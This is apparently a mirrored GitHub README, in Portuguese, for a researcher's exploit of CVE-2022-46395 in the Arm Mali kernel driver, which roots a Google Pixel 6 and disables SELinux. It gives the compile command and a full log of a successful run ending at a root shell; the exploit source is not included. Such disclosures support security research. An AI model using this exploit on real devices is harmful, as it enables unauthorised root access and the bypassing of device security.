smiletablabo/cve-2022-46395Exploit para CVE-2022-46395, uma vulnerabilidade no driver do kernel Arm Mali, que permite execução arbitrária de código no kernel para desativar o SELinux e obter acesso root no Google Pixel 6.
O artigo completo pode ser encontrado aqui. Este é um bug no driver de kernel Arm Mali que reportei em novembro de 2022. O bug pode ser usado para obter execução arbitrária de código no kernel a partir do domínio de aplicativos não confiáveis, que é então usado para desativar o SELinux e obter root.
O exploit foi testado no Google Pixel 6 com os patches de novembro de 2022 e janeiro de 2023. Para referência, usei o seguinte comando para compilar com clang no ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf
O exploit deve ser executado alguns minutos após o boot e provavelmente precisará rodar por alguns minutos até ter sucesso. Não é incomum falhar as condições de corrida centenas de vezes, embora falhar a condição de corrida não tenha nenhum efeito adverso e o exploit como um todo raramente crashe. Se bem-sucedido, ele deve desativar o SELinux e obter root.
oriole:/ $ /data/local/tmp/mali_user_buf
fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
benchmark_time 357
failed after 100
failed after 200
failed after 300
benchmark_time 343
failed after 400
failed after 500
failed after 600
benchmark_time 337
failed after 700
failed after 800
failed after 900
benchmark_time 334
failed after 1000
failed after 1100
failed after 1200
benchmark_time 363
failed after 1300
finished reset: 190027720 fault: 135735849 772 err 0 read 3
found pgd at page 4
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
result 50
oriole:/ #